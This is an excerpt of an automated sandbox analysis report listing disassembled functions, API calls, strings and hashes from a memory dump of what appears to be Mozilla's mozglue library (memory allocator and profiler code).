memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C65F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C660E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C660E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C660EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C660ED4

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 22193c7bf6e65f47521a7546cbfd2b41534f1c3c426c4e39e0d0d991257189db
Instruction ID: a31dd06adc9b702a02bb8e2572f8e59d8429ecd96f9f434b4dda432a258bda88
Opcode Fuzzy Hash: 22193c7bf6e65f47521a7546cbfd2b41534f1c3c426c4e39e0d0d991257189db
Instruction Fuzzy Hash: EB63AD71E0025ACFCB04CFA9C8906DDFBB2FF89314F298229D855AB745D730A946CB95

Function 6C633E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C657770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>cl,?,?,?,6C633E7D,?,?), ref: 6C65777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C633F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C633F5C
VerSetConditionMask.NTDLL ref: 6C633F8D
VerSetConditionMask.NTDLL ref: 6C633F99
VerSetConditionMask.NTDLL ref: 6C633FA0
VerSetConditionMask.NTDLL ref: 6C633FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C633FB4

Strings

C>cl, xrefs: 6C633E93
nvd3d9wrap.dll, xrefs: 6C634466
nvinit.dll, xrefs: 6C634479

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>cl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-369860140
Opcode ID: 232f1babb309a049ad98be6d2209b629328481822a0ad36c1227a257630d5375
Instruction ID: 574b3716a0422b7612d7549a2b8105cd50241476d29c98c0a03fdc2339f1300a
Opcode Fuzzy Hash: 232f1babb309a049ad98be6d2209b629328481822a0ad36c1227a257630d5375
Instruction Fuzzy Hash: 69520631614B444FDB19DF35C980ABBB7E9AF81308F14482DD5968B782CB74F909CB68

Function 6C60FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60FF81
LeaveCriticalSection.KERNEL32(6C67E7B8), ref: 6C61022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C610240
EnterCriticalSection.KERNEL32(6C67E768), ref: 6C61025B
LeaveCriticalSection.KERNEL32(6C67E768), ref: 6C61027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C60FE99, 6C60FEB7, 6C60FED3, 6C610DB8, 6C610DD3, 6C6119B4, 6C611A10
MOZ_CRASH(), xrefs: 6C610CA7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 4d29b1e154bddc2818cff3ad6370a802c538136e2c816f565c7df0c224911fd8
Instruction ID: 98f3742efe59498302514fc9115d23a827b1977b704ecb00c76476955657479d
Opcode Fuzzy Hash: 4d29b1e154bddc2818cff3ad6370a802c538136e2c816f565c7df0c224911fd8
Instruction Fuzzy Hash: 0FB2DF71A097418FDB18CF2DC590756BBE1BF85329F28C66CE86A8BB95C730D840CB49

Function 6C645600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C64606D
data, xrefs: 6C646131
name, xrefs: 6C645E79, 6C645E8F
ProfileBuffer parse error: %s, xrefs: 6C645AC8, 6C645CBB
expected a Time entry, xrefs: 6C645CB6
expected a Count entry, xrefs: 6C645AC3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 3d1a8dcc057f76f54154867015abd025f1343b9fd2668b6ee31e85a26b8bd3e3
Instruction ID: c4f5b736671e16504ff2e2bee2e50b355c3b855a2393bd10c6815b562569f0a5
Opcode Fuzzy Hash: 3d1a8dcc057f76f54154867015abd025f1343b9fd2668b6ee31e85a26b8bd3e3
Instruction Fuzzy Hash: 59923C71A083418FD724CF29C490B9ABBE1BFC9308F14C91DE59A9B751DB31E849CB96

Function 6C642E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C642ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C642EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C642F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C643214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C643242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6436BF

Strings

set , xrefs: 6C6436EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C64378D
get , xrefs: 6C643205

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 8f722619ab7271e4526f7f779c3f5e81d8887b2c8a138ec69ffd251075ddd3ad
Instruction ID: 153a85726fc7378a0a03c8b11008009d5362e6eb2f5fea8bf72bb93da298ed05
Opcode Fuzzy Hash: 8f722619ab7271e4526f7f779c3f5e81d8887b2c8a138ec69ffd251075ddd3ad
Instruction Fuzzy Hash: 5A325D706083818FD724CF24C4906AFBBE2AFCA318F54CD2DE59987751DB31994ACB5A

Function 6C637E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C6381E3, 6C638311
vgl, xrefs: 6C638207
data, xrefs: 6C638280, 6C6383E1
name, xrefs: 6C637ECF, 6C638335
(pre-xul), xrefs: 6C637E88

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vgl
API String ID: 3412268980-3118193200
Opcode ID: 8ba245cea1923ba422a61649ee8527e7bfdd0b5f7a5fd938c013ee1e84b136a8
Instruction ID: 9d5d5719b19ace90b9baa9988b55942f583489c675912c8a747ea33ee751844c
Opcode Fuzzy Hash: 8ba245cea1923ba422a61649ee8527e7bfdd0b5f7a5fd938c013ee1e84b136a8
Instruction Fuzzy Hash: 31E16EB1B043508BC714CF69884065BFBEABFC5314F14892DE899E7790DBB0DD498B9A

Function 6C655FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C656009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C656024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q_l,?), ref: 6C656046
OutputDebugStringA.KERNEL32(?,Q_l,?), ref: 6C656061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C656069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C656073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C656082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C67148E), ref: 6C656091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q_l,00000000,?), ref: 6C6560BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6560C4

Strings

Q_l, xrefs: 6C655FFC, 6C656042, 6C656045, 6C6560B3

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q_l
API String ID: 3835517998-757364120
Opcode ID: cd83abbf4ec0b2c89e0950d6895fef7365f10fa9f95db4a0fec31125532f577d
Instruction ID: 0dbfa66d316b73d8ffd2b603db7484e1e19f27841cb2742a954508b80e96fd45
Opcode Fuzzy Hash: cd83abbf4ec0b2c89e0950d6895fef7365f10fa9f95db4a0fec31125532f577d
Instruction Fuzzy Hash: 5F210570A002189FDB105F25DC4DAAE7BB8FF85718F108828E81AD7340CB34A959CFE9

Function 6C615E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C615EDB
memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C615F27
LeaveCriticalSection.KERNEL32(?), ref: 6C615FB2
memset.VCRUNTIME140(ewel,000000E5,?), ref: 6C6161F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C617652

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C617BCD, 6C617C1F, 6C617C34, 6C6180FD
ewel, xrefs: 6C615E9C, 6C615F22, 6C6161ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6172E3
MOZ_CRASH(), xrefs: 6C617BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6172F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C61730D

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewel
API String ID: 2613674957-3199334182
Opcode ID: dabfec87ba2c0bdf99521cda5077dbdfc047a2650f0c2dfe393e52ef22e7958b
Instruction ID: d873d38de881a35cba0c7ac0bba5f8815ad3e82048a20bb418226241c6e59221
Opcode Fuzzy Hash: dabfec87ba2c0bdf99521cda5077dbdfc047a2650f0c2dfe393e52ef22e7958b
Instruction Fuzzy Hash: 9E338C716097018FC308CF2DC590615BBE2FF85329F29C6ADE9698BBA5D731E841CB49

Function 6C644820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6C6448C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C644D0A
data, xrefs: 6C6449B4
ProfileBuffer parse error: %s, xrefs: 6C644DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C644D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C644DB8, 6C644DD8
-%llu, xrefs: 6C644825
gl, xrefs: 6C644F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C644CAF

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free
String ID: gl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1877600697
Opcode ID: d16035057b397de6e403e5c36f180a7cbf305d7e56c343ba8e82fbe6ed599610
Instruction ID: f9364334e7e4277b22eb56b5fbb684030e89b7b14886a246c3d1d44452a3047d
Opcode Fuzzy Hash: d16035057b397de6e403e5c36f180a7cbf305d7e56c343ba8e82fbe6ed599610
Instruction Fuzzy Hash: 92721B71918B858BD362CF34C4513ABF7E5AFDA344F10CB1DE48A6B610EB70A486DB46

Function 6C61D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D4F2
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D50B

Part of subcall function 6C5FCFE0: EnterCriticalSection.KERNEL32(6C67E784), ref: 6C5FCFF6
Part of subcall function 6C5FCFE0: LeaveCriticalSection.KERNEL32(6C67E784), ref: 6C5FD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D52E
EnterCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61D6A6
LeaveCriticalSection.KERNEL32(6C67E7DC), ref: 6C61D712
LeaveCriticalSection.KERNEL32(6C67E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C62D1C5), ref: 6C61D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C61D82C
<jemalloc>, xrefs: 6C61D827

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: bf6e5e232ca202e544e4fc4cff9828bffab9c94ee90585403f16e694e4c0920e
Instruction ID: be4dd4740b90a97457fe28c7205c56831057b5889f574d2716ebc351663f5cb5
Opcode Fuzzy Hash: bf6e5e232ca202e544e4fc4cff9828bffab9c94ee90585403f16e694e4c0920e
Instruction Fuzzy Hash: 2991F371A087118FD71ACF2DC49076AB7E1EB89319F14892EE45AC7F80D734E845CB9A

Function 6C654EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C654EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654F2E
moz_xmalloc.MOZGLUE ref: 6C654F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C654F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6552B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6552E6
Sleep.KERNEL32(00000010), ref: 6C655481
free.MOZGLUE(?), ref: 6C655498

Strings

(, xrefs: 6C655250

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 029c3fea6ef1d458663b5b98550b62e76978de50eb5513f72802d42340b4d222
Instruction ID: 37fac6fe6ec29b5788413457d72f15c0df9a883d5aa7b6b2029c1e2208d4d449
Opcode Fuzzy Hash: 029c3fea6ef1d458663b5b98550b62e76978de50eb5513f72802d42340b4d222
Instruction Fuzzy Hash: 1BF1E471A18B108FC717CF3AC89062BB7F5AFD6384F058B2EF846A7650DB3194428B45

Function 6C657030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C657046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C657060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C65707E

Part of subcall function 6C6081B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a Time entry), ref: 6C6081DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C657096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C65709C
LocalFree.KERNEL32(?), ref: 6C6570AA

Strings

### ERROR: %s: %s, xrefs: 6C657087
(null), xrefs: 6C65706A, 6C657083

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 0f47b4ad35c498fcdf2de1ee3248b38c4f8ee584d31f1739690621f1ba7cc03e
Instruction ID: 04c24cfe2b536172f2a6581dc3b58e4f1bb9835d1f3c74a6efe38451ddefc69b
Opcode Fuzzy Hash: 0f47b4ad35c498fcdf2de1ee3248b38c4f8ee584d31f1739690621f1ba7cc03e
Instruction Fuzzy Hash: 5701B9B1A00114AFDB05AB65DC4EDAF7BBCEF89254F010825FA05A3241D67169188FB9

Function 6C619E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C619EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C619F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C619F34
LeaveCriticalSection.KERNEL32(?), ref: 6C61A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C61A8B1, 6C61A8D4, 6C61A8EF

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 29039da5dfb41047593cab579e16018c3db6cb76f7830909b64475fb191966b5
Instruction ID: 98701b54d468b7fb9f09e4616f4389b0237ccceeee05bb678cba3ffd5b5e0217
Opcode Fuzzy Hash: 29039da5dfb41047593cab579e16018c3db6cb76f7830909b64475fb191966b5
Instruction Fuzzy Hash: CB727A72A097118FD304CF2DC540615FBE1BF89329F29C66DE8699BB92D335E846CB84

Function 6C659E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C659F3D
__aulldiv.LIBCMT ref: 6C659F77
__aullrem.LIBCMT ref: 6C659F8C
__aulldiv.LIBCMT ref: 6C65A023

Strings

NaN, xrefs: 6C659EAB
-Infinity, xrefs: 6C659E60, 6C659E7B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 7fdc79c1a7c3e06c9313a7734d477d0b8bef83ae61520ae52db93d9a6e660505
Instruction ID: 01c5b72a193fd4e867f436d0ed1f84c38a413ea25b192cfbd855982419c59a13
Opcode Fuzzy Hash: 7fdc79c1a7c3e06c9313a7734d477d0b8bef83ae61520ae52db93d9a6e660505
Instruction Fuzzy Hash: 88C1C471E043188BDB14CF98C8507EEB7B6AF85308FA44529D405ABB81D771A94ACBA9

Function 6C5FD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C5FDAF6
9, xrefs: 6C5FDE7F
0, xrefs: 6C5FDC7F
8, xrefs: 6C5FDC08
0, xrefs: 6C5FD852
, xrefs: 6C5FDA88
-, xrefs: 6C5FD7DD
1, xrefs: 6C5FDBDD

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: dc1cb7962ecd61116f68760b897fca3a02036b7007a902ef0a1d586c7f57e682
Instruction ID: c3e41984229f65c2e12faebc33cc77faa15620809dcb03e8495ffb1db82217d9
Opcode Fuzzy Hash: dc1cb7962ecd61116f68760b897fca3a02036b7007a902ef0a1d586c7f57e682
Instruction Fuzzy Hash: CB62AC7150D3458FD709CE29C89076EBBF2AF86358F184A1DE4F54BA91D3359886CF82

Function 6C66545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

